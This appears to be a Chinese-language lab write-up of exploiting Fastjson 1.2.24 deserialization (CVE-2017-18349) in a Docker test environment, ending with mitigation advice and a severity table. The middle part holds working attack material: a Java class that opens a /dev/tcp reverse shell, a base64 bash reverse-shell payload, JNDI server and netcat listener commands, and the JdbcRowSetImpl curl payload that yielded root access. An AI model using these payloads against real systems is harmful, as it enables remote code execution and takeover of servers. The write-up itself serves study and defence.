首先,我们看看环境中运行了哪些内容。我列出所有活跃容器:
docker ps

受害者仅暴露一个端口:8090
目前,我尚未完全清楚目标。从docker ps的结果来看,系统仅对外暴露了一个值得注意的服务,端口8090,映射到容器的内部服务。这是需要分析的主要攻击面。
⇒ 我直接对其进行curl探测以获取更多信息
curl -i 192.168.3.137:8090/

响应分析:
Content-Type: application/json;charset=UTF-8。{"age": 25, "name": "Bob"}。⇒ 思考: 访问8090端口时,服务器返回JSON数据。这表明该端点并非只提供静态网页,而是有一个后端处理请求并将数据序列化为JSON返回给客户端。从docker ps的结果看,容器内运行的命令显示出Java应用的迹象,因此下一步的检查方向是识别Java中常见的JSON解析器。
在Java中,流行的JSON库如Jackson、Gson和Fastjson在面对异常输入时行为不同。因此,我们可以利用基于错误的指纹识别技术。返回的错误有时会直接暴露库或内部处理机制。其中,Fastjson是需要尽早验证的目标,因为旧版本存在多个与AutoType反序列化相关的严重漏洞。
这里,我并不立即断定后端使用了Fastjson。我只是选择Fastjson作为第一个检查方向,因为它通过@type键有清晰的指纹,而且如果确实是旧版Fastjson,利用能力可能远超标准解析错误,甚至可能实现RCE。
Fastjson有一个非常有用的指纹识别特性:它会识别特殊的@type键。如果后端使用Fastjson,并且发送到反序列化流程的请求体支持AutoType,那么解析器可能会尝试将@type的值解释为Java类名。
因此,我发送一个包含指向不存在的类的@type的payload。这一步的目标不是立即利用,而是观察后端是否对@type有反应。
curl -i -X POST -H "Content-Type: application/json" \
-d '{"@type":"com.non.existent.Class"}' \
http://192.168.3.137:8090/

如果后端使用了标准的JSON解析器并且不关心@type,那么这个字段可能只是被忽略或被视为JSON中的普通键。然而,这里后端以类型相关行为(类型不匹配)作出反应,意味着请求进入了类/类型映射处理流程。
"type not match"消息是Fastjson处理@type时常常遇到的特征性签名——当指定的类与端点期望的数据类型不匹配,或者该类不存在/不允许被反序列化时出现。
⇒ 思考: 后端确实解析了POST请求的JSON主体,@type字段没有被忽略,解析器具有类型元数据处理机制,返回的错误与阿里巴巴Fastjson的行为相符。因此,我们可以高置信度地得出结论:后端正在使用阿里巴巴Fastjson。
在指纹识别步骤之后,我不能立即断言该系统是可利用的。后端使用Fastjson仅证明JSON请求进入了@type处理流程。
要执行RCE利用,必须验证以下条件:
⇒ 思考: type not match错误表明后端对@type有反应,但当前的payload仅使用了一个假类来触发错误。要实现实际利用,我们需要将那个假类替换为Java/JDK中存在的、能够创建出站行为(如JNDI查找)的真实类。
为了确定版本,我直接在容器/应用内部进行检查。

在确定应用被打包为文件 /usr/src/fastjsondemo.jar 后,我对此包结构进行深入分析,以查找JSON处理库。检查BOOT-INF/lib/目录结构发现了文件 fastjson-1.2.24.jar(图X)。
使用确切的版本 1.2.24 —— 第一个也是最著名的受反序列化漏洞影响且没有任何AutoType防御机制的版本 —— 使我们能够确认系统易受 CVE-2017-18349 攻击。
找到 fastjson-1.2.24.jar 证实了应用使用了非常旧版本的Fastjson,属于受AutoType反序列化缺陷影响的组。在此版本中,对AutoType的控制机制不如后续版本严格,因此在库条件方面,系统易受通过诸如JdbcRowSetImpl等gadget类的攻击。
然而,实际的可利用性仍取决于端点如何调用Fastjson。如果应用将JSON解析为固定类,在根对象设置@typepayload可能会导致"type not match"错误。因此,在确定版本后,我们必须继续分析JVM、gadget类和LDAP回调行为,以确认利用链是否实际到达JNDI查找。
1. 分析JVM障碍
除了Fastjson版本,Java版本也是决定性因素。我检查容器内的JVM:
java -version

这是关键信息,因为Fastjson利用链通常依赖于JNDI注入。更新的Java版本默认已阻止通过LDAP/RMI从外部代码库加载类。然而,Java 8u102是一个旧版本,还没有这些阻止机制。
因此,如果攻击者能够触发JNDI查找,受害者的JVM具备从外部HTTP服务器下载类并加载到运行时的能力。
在确定旧的Fastjson和JVM之后,下一步是找到一个存在于JDK中的类,该类在反序列化时能够产生危险行为。
com.sun.rowset.JdbcRowSetImpl 是一个合适的gadget,因为这个类存在于JDK中,并且有一个dataSourceName属性。当dataSourceName被赋值为LDAP URL格式的值时,该对象可以被利用来触发一个出站的JNDI查找。
⇒ 思考: 我不需要直接将代码上传到服务器。相反,我利用JVM内已有的一个类,强制受害者连接到攻击者控制的LDAP服务器。
在确定了库和JVM的必要条件后,我需要验证payload是否实际强制受害者进行出站连接。这是区分以下两者的关键步骤:
如果LDAP服务器或监听器收到来自受害者的连接,则证明payload已成功到达JNDI查找步骤。如果没有回调且服务器返回type not match,则表明当前payload与端点的反序列化流程不匹配。在这种情况下,需要将payload调整为与端点正在解析的确切对象结构相匹配,或者使用其他绕过方式/gadget。
根据上述步骤,系统的条件链可以总结如下:
@type的错误响应表明后端处理了类型元数据机制,与Fastjson的行为一致。fastjson-1.2.24.jar库。com.sun.rowset.JdbcRowSetImpl gadget存在于JDK中,并可通过dataSourceName属性触发JNDI查找。⇒ 利用思路:
我不需要查找文件上传功能或直接在服务器上写入文件。相反,我利用Fastjson的反序列化流程,强制JVM实例化一个JdbcRowSetImpl对象。当该对象收到一个LDAP URL形式的dataSourceName时,受害者将向攻击者控制的服务器执行JNDI查找。从那里,攻击者可以将JVM重定向到从外部HTTP服务器下载恶意类,并执行该类中的代码。
因此,选择的利用路径是:
Fastjson AutoType
→ JdbcRowSetImpl gadget
→ JNDI LDAP查找
→ 包含Exploit.class的HTTP codebase
→ 反向连接到攻击者
text
Connection received on 192.168.3.137 43928
whoami
root
在Fastjson 1.2.24中,com.sun.rowset.JdbcRowSetImpl 类是一个存在于JVM classpath(属于标准库 rt.jar)中的 gadget类。当Fastjson反序列化一个包含指向此类的@type的JSON字符串时:
JdbcRowSetImpl。setDataSourceName() setter → 设置JNDI地址。setDataSourceName() 触发内部 InitialContext.lookup(dataSourceName) → 整个JNDI注入发生在这里,在setAutoCommit()有机会执行之前。Exploit.class文件,加载到内存 → 执行static {}块。Exploit.java)import java.io.IOException;
public class Exploit {
static {
try {
String[] cmd = {
"/bin/bash",
"-c",
"exec 5<>/dev/tcp/192.168.3.114/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"
};
Runtime.getRuntime().exec(cmd);
} catch (IOException e) {
e.printStackTrace();
}
}
}
由于受害者的JVM运行的是Java 8u102,我们在编译时必须指定目标为Java 8。否则,受害者将抛出 UnsupportedClassVersionError,导致攻击链静默失败。之后,设置HTTP Codebase Server:
javac -source 1.8 -target 1.8 Exploit.java
python3 -m http.server 8000
JNDI-Injection-Exploit设置JNDI利用服务器由于Kali环境运行的是Java 25——太新而无法构建marshalsec——我们使用替代工具JNDI-Injection-Exploit。首先,以base64格式创建反向shell payload:
echo -n "bash -i >& /dev/tcp/192.168.3.114/4444 0>&1" | base64
使用上述payload启动JNDI服务器:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMuMTE0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 192.168.3.114

该工具自动生成LDAP端点:
ldap://192.168.3.114:1389/6bzjwg
打开反向监听端口:
nc -lvnp 4444
我们看到将@typepayload放在根对象时会返回type not match错误——因为Spring Boot Controller正在将JSON映射到一个固定类型,这与根级别的JdbcRowSetImpl不匹配。
调整payload: 将gadget类包装在嵌套字段("data":{...})中,使Fastjson独立于Controller的类型约束处理嵌套对象:
curl -i -X POST -H "Content-Type: application/json" \
-d '{"data":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.3.114:1389/6bzjwg","autoCommit":true}}' \
http://192.168.3.137:8090/

在LDAP服务器(marshalsec):记录了来自受害者IP的成功JNDI查询请求,并重定向到HTTP codebase。
在HTTP服务器(Python):记录了从受害者IP下载Exploit.class文件的请求,状态码200 OK,证明JVM成功加载了字节码。
在Netcat监听器:成功建立了交互式会话(反向shell):
listening on [any] 4444 ...
connect to (192.168.3.114) from (UNKNOWN) [192.168.3.137] 49439
root@7308074af0ab:/# whoami
root
完整的利用链已成功验证:从发送JSON payload → JNDI查找 → LDAP引用 → 加载远程类 → 在static {}块中执行代码 → 建立具有root权限的反向shell。
该系统上的Fastjson反序列化RCE漏洞(CVE-2017-18349)被评为最高严重级别:
要彻底解决此漏洞,应按以下优先顺序实施措施:
1.2.83)。从版本1.2.25开始,autoType功能已默认禁用,并增加了严格的黑名单机制——直接移除了CVE-2017-18349的攻击向量。或者考虑迁移到维护更好的替代库,如Jackson或Gson。com.sun.jndi.ldap.object.trustURLCodebase属性默认设置为false——完全阻止JVM通过LDAP/RMI自动远程加载类的能力,即使Fastjson仍然存在漏洞,也能打破JNDI注入链。root用户运行Web应用。创建一个专用用户(例如app_user),赋予最低权限——即使攻击者实现RCE,损害也将限于该用户的权限范围。SafeMode以完全关闭autoType:ParserConfig.getGlobalInstance().setSafeMode(true);
或者建立严格的白名单,只允许经过批准的类被反序列化。
@type、JdbcRowSetImpl、dataSourceName、ldap://、rmi://。-network和iptables规则。| 标准 | 评估 | 详情 |
|---|
| CVSS分数 | 9.8(严重) | 极高风险等级——仅低于绝对10.0,因为它不需要特殊的网络访问。 |
| 认证 | 不需要 | 攻击者利用它不需要任何账号或凭证。任何能发送HTTP请求的人都可以攻击。 |
| 复杂度 | 非常低 | 只需要发送单个包含有效JSON payload的HTTP POST请求——无需复杂工具或特殊条件。 |
| JVM保护 | 无 | Java 8u102没有阻止远程类加载的机制(trustURLCodebase默认为true),使得整个JNDI注入→远程类加载链能够畅通无阻。 |
| 获取的权限 | root | 以最高权限级别完全控制应用容器——可读/写/删除任何文件,包括/etc/shadow。 |
| 横向移动能力 | 高 | 从被攻陷的容器出发,攻击者可以扫描内部网络(172.19.0.0/16)并攻击同一Docker网络project1_default中的其他容器。 |